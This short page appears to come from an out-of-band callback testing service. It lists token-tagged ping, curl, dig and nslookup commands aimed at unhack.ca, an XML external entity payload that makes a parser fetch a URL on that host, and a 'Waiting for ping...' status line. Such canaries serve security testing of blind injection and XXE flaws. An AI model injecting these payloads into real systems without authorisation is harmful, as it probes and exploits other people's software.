$ ping -c1 -p 005c0783046487e34c5437ae7346ae00 unhack.ca
 
$ curl http://unhack.ca/p/5c0783046487e34c5437ae7346ae
 
$ dig 5c0783046487e34c5437ae7346ae @unhack.ca
 
$ dig 5c0783046487e34c5437ae7346ae.ns.unhack.ca
 
C:\> nslookup 5c0783046487e34c5437ae7346ae unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5c0783046487e34c5437ae7346ae">]>
    <foo>&xxe;</foo>
Waiting for ping...